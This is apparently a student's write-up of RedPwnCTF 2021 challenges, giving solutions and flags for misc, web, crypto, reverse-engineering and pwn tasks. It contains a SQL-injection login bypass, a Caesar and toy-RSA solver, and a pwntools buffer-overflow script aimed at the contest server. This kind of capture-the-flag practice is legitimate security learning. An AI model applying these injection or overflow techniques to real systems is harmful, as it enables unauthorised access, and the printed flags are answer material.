RedPwnCTF 2021

Misc

Sanity-check [1pt]

I get to write the sanity check challenge! Alright!

flag{1_l0v3_54n17y_ch3ck_ch4ll5}

Flag: flag{1_l0v3_54n17y_ch3ck_ch4ll5}

Discord [1 pt]

Join the discord! I hear #rules is an incredibly engaging read.

Flag: flag{chall3n63_au7h0r5h1p_1nfl4710n}

Compliant-lattice-feline [102 pts]

Description

get a flag! nc mc.ax 31443

Flag: flag{n3tc4t_1s_a_pip3_t0_the_w0rld}

The-substitution-game [145 pts] [Not Solved]

Description

author: BrownieInMotion

Solution

So I was unable to get past level 4 but so far this was my solution

# run_level(level_1, 5)
	# initial => target
# run_level(level_2, 10)
	# hello => goodbye
	# ginkoid => party
# run_level(level_3, 10)
	# aa => a

Web

Inspect me [101 pts]

Description

See if you can find the flag in the source code! inspect-me.mc.ax

Solution

View page source code and the flag is in the comments

Flag: flag{inspect_me_like_123}

Orm-bad [102 pts]

Description

I just learned about orms today! They seem kinda difficult to implement though... Guess I'll stick to good old raw sql statements! orm-bad.mc.ax

Solution

admin / ' OR 1=1 - -

Flag: flag{sqli_overused_again_0b4f6}

Crypto

Scissors [102 pts]

Description

I was given this string and told something about scissors. egddagzp_ftue_rxms_iuft_rxms_radymf

import random

key = random.randint(0, 25)
alphabet = 'abcdefghijklmnopqrstuvwxyz'
shifted = alphabet[key:] + alphabet[:key]
dictionary = dict(zip(alphabet, shifted))

print(''.join([
    dictionary[c]
    if c in dictionary
    else c
    for c in input()
]))

Solution

Given some code and I just plug it in and run it. At this point, I see two paths. One I program a hardcode for all possibilities. The second option, keep running the program until it works. I decided on the second one because I got lucky the third time I ran it. I included the code I wrote when the contest was over

for key in range(0,25):
    alphabet = 'abcdefghijklmnopqrstuvwxyz'
    shifted = alphabet[key:] + alphabet[:key]
    dictionary = dict(zip(alphabet, shifted))

    print(str(key)+ " " + ''.join([dictionary[c]
        if c in dictionary
        else c
        for c in "egddagzp_ftue_rxms_iuft_rxms_radymf"
    ]))

Flag: flag{surround_this_flag_with_flag_format}

Baby [102 pts]

Description

I want to do an RSA!

Solution

Yes finally, an RSA puzzle, and I learned how to do it. So I notice we are missing P and Q so I used the RSActfTool to find those with N and e. Well that was a bust and so I moved onto mesieve ./msieve -q 228430203128652625114739053365339856393

This worked and all I had to do after that was plug the numbers into the code and bam.

from math import gcd
from Crypto.Util.number import *

n = 228430203128652625114739053365339856393
e = 65537
c = 126721104148692049427127809839057445790

p = 12546190522253739887
q = 18207136478875858439


def lcm(x, y):
    return (x * y) // gcd(x, y)

def ex_euclid(x, y):
    a0, a1 = 1, 0
    b0, b1 = 0, 1
    c0, c1 = x, y
    
    while c1 != 0:
        m = c0 % c1
        q = c0 // c1
        c0, c1 = c1, m
        a0, a1 = a1, (a0 - q * a1)
        b0, b1 = b1, (b0 - q * b1)

    return a0, b0

t = lcm(p - 1, q - 1)
a, b = ex_euclid(e, t)
d = a % t
m = pow(c, d, n)

print(long_to_bytes(m))

Flag: flag{68ab82df34}

Round the Bases [107 pts]

Description author: AdnanSlef My flag has been all around the bases. Can you help me get it back?

Solution

I know this one was going to use a lot of different base conversions, hence the name so I just launched up CyberChef and got to work. I tried some magic but that had no effect so I just brute forced and tried combinations of base conversions.

Out of all the base__ conversions, base85 gave a magic symbol afterward... I think we are onto something. I just clicked through that and the algorithm created itself.

From Base85 -> From Hex -> From Decimal -> From Octal -> From Binary

Flag: flag{w0w_th4t_w4s_4ll_wr4pp3d_up}

Rev

wstrings [102 pts]

Description

Some strings are wider than normal...

Solution

Opened up the program and in Ghidra and analyzed it. Then I went over to the symbol tree and found an entry "Flag"

Flag: flag{n0t_al1_str1ngs_ar3_sk1nny}

Bread-making [108 pts]

Description author: KyleForkBomb

My parents aren't home! Quick, help me make some bread please...

Solution

So I started with strings bread and that gave me a whole lot, which I exported to a file out.txt and removed the useless information. I then thought that we are trying to find input and some phrases are for sure a response so I removed those as well. Given the last little amount, I was confident it would just take a little bit of time to find the right order. I decided to do some brute force with my code looking something like this after a small start

from pwn import *
import time

def initialSend(option):
	p = process("./bread")
	p.sendlineafter("bowl", "add flour")
	p.sendlineafter("added", "add yeast")
	p.sendlineafter("added", "add salt")
	p.sendlineafter("added", "add water")
	p.sendlineafter("lumpy dough", option)
	print(p.recv())
	print(p.recv())
	
f = open("outs.txt")
mycmds = []
lines = f.readlines()
count = 0
while count < len(lines):
	try:
		initialSend(lines[count])
		time.sleep(1)
		print(lines[count])
	except:
		time.sleep(.5)
	count += 1

Once I found everything I created a final Full send

from pwn import *

def fullSend(p):
	p.sendlineafter("to the bowl", "add flour")
	p.sendlineafter("has been added", "add yeast")
	p.sendlineafter("has been added", "add salt")
	p.sendlineafter("has been added", "add water")
	p.sendlineafter("a lumpy dough", "hide the bowl inside a box")
	p.sendlineafter("needs to rise", "wait 3 hours")
	p.sendlineafter("finish the dough", "work in the basement")
	p.sendlineafter("needs to be baked", "preheat the toaster oven")
	p.sendlineafter("for 45 minutes", "set a timer on your phone")
	p.sendlineafter("awfully long time", "watch the bread bake")
	p.sendlineafter("no time to waste", "pull the tray out with a towel")
	p.sendlineafter("smoke in the air", "unplug the fire alarm")
	p.sendlineafter("in another room", "open the window")
	p.sendlineafter("air rushes in", "unplug the oven")
	p.sendlineafter("kitchen is a mess", "wash the sink")
	p.sendlineafter("sink is cleaned", "clean the counters")
	p.sendlineafter("counters are cleaned", "flush the bread down the toilet")
	p.sendlineafter("is disposed of", "get ready to sleep")
	p.sendlineafter("go to sleep", "close the window")
	p.sendlineafter("window is closed", "replace the fire alarm")
	p.sendlineafter("alarm is replaced", "brush teeth and go to bed")
	p.interactive()
	p.close()
	
binary = remote("mc.ax", 31796)
fullSend(binary)

Flag: flag{m4yb3_try_f0ccac1a_n3xt_t1m3???0r_dont_b4k3_br3ad_at_m1dnight}

Pwn

Beginner-generic-pwn-number-0 [105 pts]

Description author: pepsipu

rob keeps making me write beginner pwn! i'll show him...

Solution

So I know this was a buffer overflow because entering a lot of "A" created a segmentation fault.

from pwn import *

flag_address = 0xffffffffffffffff
payload = b"A" * 40

# binary = process("./beginner-generic-pwn-number-0")
binary = remote("mc.ax", 31199)
print(binary.recvuntil(":(\n"))
binary.sendline(payload + p64(flag_address))
binary.interactive()
# Normal Response
# b'"\xf0\x9d\x98\xb1\xf0\x9d\x98\xad\xf0\x9d\x98\xa6\xf0\x9d\x98\xa2\xf0\x9d\x98\xb4\xf0\x9d\x98\xa6 \xf0\x9d\x98\xb8\xf0\x9d\x98\xb3\xf0\x9d\x98\xaa\xf0\x9d\x98\xb5\xf0\x9d\x98\xa6 \xf0\x9d\x98\xa2 \xf0\x9d\x98\xb1\xf0\x9d\x98\xb8\xf0\x9d\x98\xaf \xf0\x9d\x98\xb4\xf0\x9d\x98\xb0\xf0\x9d\x98\xae\xf0\x9d\x98\xa6\xf0\x9d\x98\xb5\xf0\x9d\x98\xaa\xf0\x9d\x98\xae\xf0\x9d\x98\xa6 \xf0\x9d\x98\xb5\xf0\x9d\x98\xa9\xf0\x9d\x98\xaa\xf0\x9d\x98\xb4 \xf0\x9d\x98\xb8\xf0\x9d\x98\xa6\xf0\x9d\x98\xa6\xf0\x9d\x98\xac"\nrob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!\ncan you write me a heartfelt message to cheer me up? :(\n'

Flag: flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}

Extra URL

I found an interesting writeup that I should look further into

https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2021/getsome_beginner-generic-pwn-number-0_ret2generic-flag-reader_ret2the-unknown

Last updated